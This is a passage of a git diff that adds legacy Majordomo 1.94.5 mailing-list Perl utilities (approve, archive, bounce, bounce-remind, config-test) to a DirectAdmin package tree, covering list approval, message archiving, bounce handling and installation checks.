(Joe User) +# +# Then, if you run "approve /tmp/request" or "approve < /tmp/request", the +# following message will be sent to Majordomo@This.COM: +# +# To: Majordomo@This.COM +# +# approve passwd1 subscribe this-list User@Fubar.COM (Joe User) +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/approve,v $ +# $Revision: 1.15 $ +# $Date: 1997/04/05 19:18:36 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +$MAILER = '/usr/lib/sendmail' if -x '/usr/lib/sendmail'; +$MAILER = '/usr/sbin/sendmail' if -x '/usr/sbin/sendmail'; + +die "Couldn't find a sendmail to invoke, please define!" + if !$MAILER; + + +use Getopt::Std; + +getopts("df:") || + die("USAGE: approve [-f ] [-d] [ ...]\nStopped"); + +if (!defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +&read_config(); + +# Read the headers. Look at the "Reply-To:" header to figure out where to +# respond to. Look at the "Subject:" header to figure out if this is an +# APPROVE or a BOUNCE request. + +if (@ARGV) { + foreach $file (@ARGV) { + open(FILE, $file) || (warn("can't open \"$file\"; skipping"), next); + &process_file(FILE); + close(FILE); + } +} else { + &process_file(STDIN); +} + +exit(0); + +sub process_file { + local($FILE) = shift; + local($reply_to); + local($subject); + local($request); + local($list); + + while (<$FILE>) { + s/\n$//; + if (/^reply-to:/i) { + s/^\S*:\s+//; + $reply_to = $_; + $reply_to =~ tr/A-Z/a-z/; + next; + } + if (/^subject:/i) { + s/^\S*:\s+//; + $subject = $_; + $subject =~ tr/A-Z/a-z/; + ($request, $list) = split(/\s/, $subject, 2); + $list =~ s/:.*//; + next; + } + if (/^$/) { + last; + } + } + + # we've read the headers, so we should know now if this is an "APPROVE" + # or a "BOUNCE" that we're processing. + + if ($request eq "approve") { &process_approve($FILE); } + elsif ($request eq "bounce") { &process_bounce($FILE); } + else { + warn("unknown request type '$request' in file '$file'; skipping"); + } +} + +sub process_approve { + local($FILE) = shift; + while (<$FILE>) { + if ((/^\tsubscribe\s/) || (/^\tunsubscribe\s/)) { + if (!defined($reply_to)) { + warn("No \"Reply-To:\"; exiting"); + exit(1); + } + s/^\t//; + split; + $list = $_[1]; + $list =~ tr/A-Z/a-z/; + $passwd = $passwd{"$list\@$reply_to"}; + if (! $passwd) { + warn("no password for list $list; skipping \"$_\""); + next; + } + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + } else { + open(MAIL, "|$MAILER $reply_to") || + die ("open(\"|$MAILER ...\"): $!"); + } + + print MAIL "To: $reply_to\n\n"; + print MAIL "approve $passwd $_"; + close(MAIL); + last; + } + } + print STDERR "Mailed approved command to $list list.\n" + unless defined $opt_d; +} + +sub process_bounce { + local($FILE) = shift; + local ($from_skipped); + + # we've already skipped the header, so set up to approve the message + + # first, figure out where to send it + if (defined($reply_to)) { + # if there's a "Reply-To:" field set, use it. + $post_to = $reply_to; + } elsif ($list =~ /\@/) { + # if the list name already appears fully qualified, use it + $post_to = $list; + } else { + # Well, can we figure it out? + if ($site{$list} eq "MULTIPLE") { + warn("Can't distinguish between multiple lists named '$list'\nSkipping '$file'"); + return; + } else { + $post_to = $list . "\@" . $site{$list}; + } + } + + if (!defined($passwd{$list})) { + warn "Can't find password for list $list, Stopped"; + return; + } + + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + print MAIL "To: $post_to\n\n"; + } else { + open(MAIL, "|$MAILER $post_to") || die("open(\"|$MAILER...\"): $!"); + } + + print MAIL "Approved: $passwd{$list}\n"; + + while (<$FILE>) { + if (/^>?From / && ! defined($from_skipped)) { + # Skip any initial "From " or ">From " line + $from_skipped = 1; + next; + } + s/^~/~~/; + print MAIL $_; + } + close(MAIL); + print STDERR "Mailed approved message to $list list.\n"; +} + +sub read_config { + local($l); + local($p); + local($m); + local($s); + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + s/\n$//; + s/#.*//; + if (/^$/) { next; } + split; + $l = $_[0]; $l =~ tr/A-Z/a-z/; # list + $p = $_[1]; # password + $m = $_[2]; $m =~ tr/A-Z/a-z/; # majordomo@site + split(/\@/, $m); + $s = $_[1]; $s =~ tr/A-Z/a-z/; # site + + $passwd{$l} = $p; + $passwd{"$l\@$m"} = $p; + $passwd{"$l\@$s"} = $p; + if (defined($site{$l})) { + # if it's already defined, there's more than one list by this name + $site{$l} = "MULTIPLE"; + } else { + $site{$l} = $s; + } + } + close(CONF); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl new file mode 100644 index 0000000..8f857bd --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +use Getopt::Std; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig new file mode 100644 index 0000000..105e5cb --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +require "getopts.pl"; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +&Getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce new file mode 100644 index 0000000..6bfc79e --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce @@ -0,0 +1,202 @@ +#!/bin/perl + +# move problem addresses from to "bounces" +# +# Assumes that the "approve" password for each list is stored in a file +# called ".majordomo" in the user's home directory, in the following format: +# +# List Password Majordomo-Address +# +# When you bounce someone from a list, it looks up that lists's password +# and Majordomo-Address (the address of the Majordomo server serving that +# list) in the .majordomo file, and looks for another list named "bounces" +# with the same Majordomo-Address. +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# bounces passwd3 Majordomo@This.COM +# bounces passwd4 Majordomo@Other.GOV +# +# A command of "bounce this-list user@fubar.com" will mail the +# following message to Majordomo@This.COM: +# +# approve passwd1 unsubscribe this-list user@fubar.com +# approve passwd3 subscribe bounces user@fubar.com (930401 this-list) +# +# Note that the date and the list the user was bounced from are included +# as a comment in the address used for the "subscribe bounces" command. +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 14:09:24 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$MAILER = "/usr/lib/sendmail"; + +$default_maxage = 21; + +# if this program is called unsub, then only unsubscribe, don't add to bounces + +($basename = $0) =~ s!.*/!!; +if ($basename =~ /unsub/) { + $unsub_only = 1; +} + +while ($ARGV[0] =~ /^(-.*)/ && shift) { + if ($1 eq "-f") { + $opt_f = shift; + } + elsif ($1 eq "-d") { + $debug = 1; + } + elsif ($1 eq "-unsub") { + $unsub_only = 1; + } + elsif ($1 eq "-expire") { + $expire = 1; + } + elsif ($1 eq "-majordomo") { + $majordomo = shift; + } + elsif ($1 eq "-maxage") { + $maxage = int(shift); + if ($maxage <= 0) { + warn "$maxage is not a positive integer; ignoring.\n"; + $maxage = 0; + } + } + else { + warn "bad option: $1\n"; + &usage(); + } +} + +if (! defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +if ($maxage && !$expire) { + warn "Can't specify -maxage without -expire\n"; + &usage(); +} + +&read_config(); + +if ($expire) { + if ($maxage <= 0) { + $maxage = $default_maxage; + } + # convert maxage in days to seconds + $maxage *= 24*60*60; + $list = 'bounces'; + if ($majordomo) { + $majordomo{$list} = $majordomo; + } +} +else { + $list = shift(@ARGV); + $list =~ tr/A-Z/a-z/; + $list =~ s/\@.*//; + + $list_passwd = $passwd{$list}; + if (! $list_passwd) { + die("no password for list $list; stopping"); + } + $maxage = 0; +} + +$bounce_passwd = $passwd{"bounces\@$majordomo{$list}"}; +if (! $unsub_only ) { + if (! $bounce_passwd) { + die("no password for list bounces; stopping"); + } +} + +($sec,$min,$hour,$mday,$mon,$year) = localtime(time-$maxage); +$year += 1900; + +if ($debug) { + open(MSG, ">&STDOUT"); +} else { + open(MSG, "|$MAILER $majordomo{$list}") || + die("open(MSG, \"|$MAILER $majordomo{$list}\"): $!\nStopped"); +} + +print MSG "To: $majordomo{$list}\n"; +print MSG "Subject: expired bounces entries\n" if $expire; +print MSG "\n"; + +if ($expire) { + $expire_date = sprintf("%02d%02d%02d", $year, $mon+1, $mday); + while (<>) { + # bounce format is user.name (yymmdd listname), we want yymmdd + next unless /.*\s\((\d+) \w.*\)/; + if ($1 <= $expire_date) { + printf MSG "approve %s unsubscribe bounces %s", $bounce_passwd, $_; + } + } +} else { + foreach (@ARGV) { + printf MSG "approve %s unsubscribe %s %s\n", $list_passwd, $list, $_; + if (! $unsub_only) { + printf MSG "approve %s subscribe bounces %s (%02d%02d%02d %s)\n", + $bounce_passwd, $_, $year, $mon+1, $mday, $list; + } + } +} +close(MSG); + +exit 0; + +sub read_config { + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + chop; + s/#.*//; + next if /^\s*$/; + local($list,$passwd,$majordomo) = split(' ',$_,3); + $list =~ tr/A-Z/a-z/; + $majordomo =~ tr/A-Z/a-z/; + if (! defined($passwd{$list})) { + $passwd{$list} = $passwd; + $majordomo{$list} = $majordomo; + } + $passwd{"$list\@$majordomo"} = $passwd; + } + close(CONF); +} + +sub usage { + print STDERR <] [-unsub] + $0 [-d] [-f ] -expire [-maxage ] + [-majordomo ] + +Options: + -d Debug: print what would be done, but don't do it. + -f config_file Specify a list/passwd file (default ~/.majordomo) + + -unsub Unsubscribe the user from the list, but don't add + to bounces. On by default if the program name + contains "unsub". + + -expire Expire entries from the specified bounces list. + -maxage days Expire entries older than maxage days (default + $default_maxage days). + -majordomo addr Send expired bounces to this majordomo (default is + the majordomo corresponding to the first 'bounces' + list). + bounce_entries A file containing bounce entries (eg. the bounces list) +EOT + exit(1); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind new file mode 100644 index 0000000..6da75ed --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind @@ -0,0 +1,105 @@ +#!/bin/perl + +# send a reminder to folks on a bounce list + +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce-remind,v $ +# $Revision: 1.9 $ +# $Date: 1996/12/09 16:49:46 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$main'program_name = 'mj_bounce-remind'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +# All these should be in the standard PERL library +unshift(@INC, $homedir); + +# Set these here so that they can be interploated on the $mailer command line. +$sender = "nobody\@$whereami"; +$to = "Bounces\@$whereami"; +$from = "nobody\@$whereami"; +$subject = "Bouncing email from mailing lists at $whereami"; + +$mail_cmd = eval qq/"$mailer"/; + +open(MSG, "|$mail_cmd bounces\@$whereami") || + die("open(MSG, \"|$mail_cmd bounces\@$whereami\"): $!\nStopped"); + +print MSG <) { + print MSG "\t$_"; +} + +close(LIST); + +print MSG < +# more mods by Vince Skahan +# +# execute this by cd to your majordomo dir, then 'wrapper config-test' +# + +use POSIX qw(ctime); +@requires = ( "majordomo_version.pl", + "majordomo.pl", + "shlock.pl", + "config_parse.pl", + ); + +$registration_file = ".majordomo_registration"; + +$default_uid = 123; + +if (!$ENV{'MAJORDOMO_CF'}) { + print <<"STOP" + +\a\aYou're attempting to run $0 the wrong way! +Let's try running it through ./wrapper instead, hmm? +STOP + ; + sleep 2; + if (-x "./wrapper") { + exec("./wrapper config-test", @ARGV); + } else { + print <<"dummy" +Well, shoot, you forget to run + + make install-wrapper + +as well! Better go do that... +dummy + ; + exit 1; + } +} + + + +&header(''); +&header("Config-test for Majordomo"); +&header(''); +print "\n\n"; + + + +&header("Obvious things:"); + +&header("environment variables"); +foreach $e (sort keys %ENV) { + print " $e=$ENV{$e}\n"; +} + +&header("euid/egid checks"); + +$euid_name=getpwuid($>); +push(@egid_group_numbers,(split(' ',$) ))); # it switches groups... +foreach $groupnum (@egid_group_numbers) { + $name = getgrgid($groupnum); + push(@egid_names,$name); +} +print " effective user = $euid_name (uid $>)\n"; +print " effective group = @egid_names (gid $) )\n"; + +&header("uid/gid checks"); + +$uid_name=getpwuid($<); +push(@gid_group_numbers,(split(' ',$( ))); # it switches groups... +foreach $groupnum (@gid_group_numbers) { + $name = getgrgid($groupnum); + push(@gid_names,$name); +} +print " real user = $uid_name (uid $<)\n"; +print " real group = @gid_names (gid $( )\n"; + +if ($< == $default_uid) { # the default uid + print <<"idontthinkso" +I think it's highly unlikely that you're using the default +user id of $default_uid for majordomo. Lemme check... + +idontthinkso + ; + $name = (getpwuid($default_uid))[0]; + if (! $name ) { + print <<"ithoughtso" + +Hah! I thought so! You've forgotten to use the right user id +in the Makefile. Make sure that W_USER and W_GROUP are set to +the correct values in the Makefile, and run + make install-wrapper +again. + +ithoughtso +;#' + exit 1; + } else { + print <<"wellokay" +Hmm! The user with the uid of $default_uid is $name, so +at least the user exists. If this isn't the majordomo user, +make sure that W_USER and W_GROUP are set to the correct values +in the Makefile, and run + make install-wrapper +again. + +wellokay +;#' + } +} + +&header(''); +print "\n\tNon obvious things that cause headaches:\n\n"; +&header(''); + +$cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'}; + +if (eval "require '$cf'") { + &good("'require'd $cf okay."); +} else { + &bad("something's wrong with $cf: $@"); +} + +foreach (@requires) { + if (require $_) { + &good("found $_ okay."); + } else { + &bad("failed to find $_ in \@INC"); + } +} + +print "\n"; + +print "You're running Majordomo Version $majordomo_version.\n"; + +print "\n--==> Majordomo home directory is $homedir.\n"; + +unshift(@INC, $homedir); + +&header("Include directories"); +foreach (@INC) { + print "\t$_\n"; +} + +&header("Home"); + +if (chdir($homedir)) { + &good("changedir to $homedir succeeded."); +} else { + &bad("changedir to $homedir failed, $!"); +} +if (open(TEST, ">cftest.$$")) { + &good("Created a mock lock file."); + close(TEST); + unlink("cftest.$$"); +} +else { + &bad("Couldn't create a mock lock file.\n \$homedir ($homedir) needs to be writable."); +} + +&header("temp directory"); +if (! defined $TMPDIR) { + &bad("\$TMPDIR not defined by majordomo.cf"); +} +elsif (-d $TMPDIR) { + if (open(TEST, ">$TMPDIR/cftest.$$")) { + &good("Created a temp file in \$TMPDIR ($TMPDIR)."); + close(TEST); + unlink("$TMPDIR/cftest.$$"); + } + else { + &bad("Couldn't create a file in $TMPDIR."); + } +} +else { + &bad("\$TMPDIR ($TMPDIR) does not exist."); +} + +&header("list directory"); + +if (-d $listdir) { + if (-r $listdir && -w $listdir && -x $listdir) { + &good("list directory $listdir has good permissions."); + } else { + &bad("list directory $listdir has bad permissions"); + } +} else { + print "Hmmm, list directory $listdir doesn't exist\n or isn't a directory.\n"; + print "Let me try to make it for you...\n"; + if ( mkdir( $listdir, 0777) ) { + &good("list directory $listdir created.\n"); + } else { + &bad("Couldn't create $listdir, $!"); + } +} + +&header("log"); + +if ( ! -e $log ) { + print "Logfile $log didn't exist, trying to create...\n "; + if (open(A, ">$log") && close(A) ) { # sesame + print "okay, now chmod'ing..\n"; + chmod (0664, $log) || &bad( "chmod on $log failed, $!"); + } else { + &bad("Couldn't create logfile $log, $!\n"); + } +} + +if ( -f $log && -r $log && -w $log) { + &good("logfile $log exists and is writeable."); +} else { + &bad("logfile $log exists, but is not writeable or isn't a file."); +} + +&header ("Mailers"); +if ($mailer) { + print "You have defined a mailer for delivery.\n"; + if ($mailer =~ /sendmail.*\s-t/i) { + print "Whoa! You have given the \"-t\" option to sendmail. This can cause mail\n"; + print "loops when used for outbound delivery.\n"; + $BAD++; + } + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$mailer to be used for delivery, but you have\n"; + print "defined \$sendmail_command. Majordomo will use\n"; + print "$sendmail_command -f\\\$sender\n"; + print "to deliver mail to the list unless you define list-specific cases.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender\n"; + print "to deliver mail to the list.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + +if ($bounce_mailer) { + print "You have defined a mailer for delivering administrative messages.\n"; + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$bounce_mailer to be used for delivering\n"; + print "administrative messages, but you have defined \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "$sendmail_command -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + + +&header("Checking majordomo.cf"); + +print "Checking to see if there are new variables that should be in\n"; +print "your majordomo.cf file..."; + +open($cf, $cf) || &bad("Couldn't open $cf for reading, $!"); +open(S, 'sample.cf') || &bad("Couldn't open sample.cf for reading, $!"); + +while () { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 2; +} + +while (<$cf>) { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 1 unless defined $config{$1}; # Keeps -w happy + $config{$1} |= 1; +} + +close (S); +close $cf; + +# $config{whatever} == 1 if only in their majordomo.cf, +# == 2 if only in sample.cf, +# == 3 if in both. +# + +foreach (sort keys %config) { + push (@new, $_) if $config{$_} == 2; + push (@unknown, $_) if $config{$_} == 1; +} + +if ($#new >= 0) { + print "\nNew configuration variables (see sample.cf):\n"; + foreach (@new) { print "\t$_\n"; } +} + +if ($#unknown >= 0) { + print "\nUnknown configuration variables in existing majordomo.cf:\n"; + foreach (@unknown) { print "\t$_\n"; } +} + +if ($#new == -1 && $#unknown == -1) { + print "Nope, none that I see.\n"; +} + +print "\nHave you configured where Majordomo is?\n"; +print "\t\$whereami is $whereami\n"; +if ($whereami eq "example.com") { + 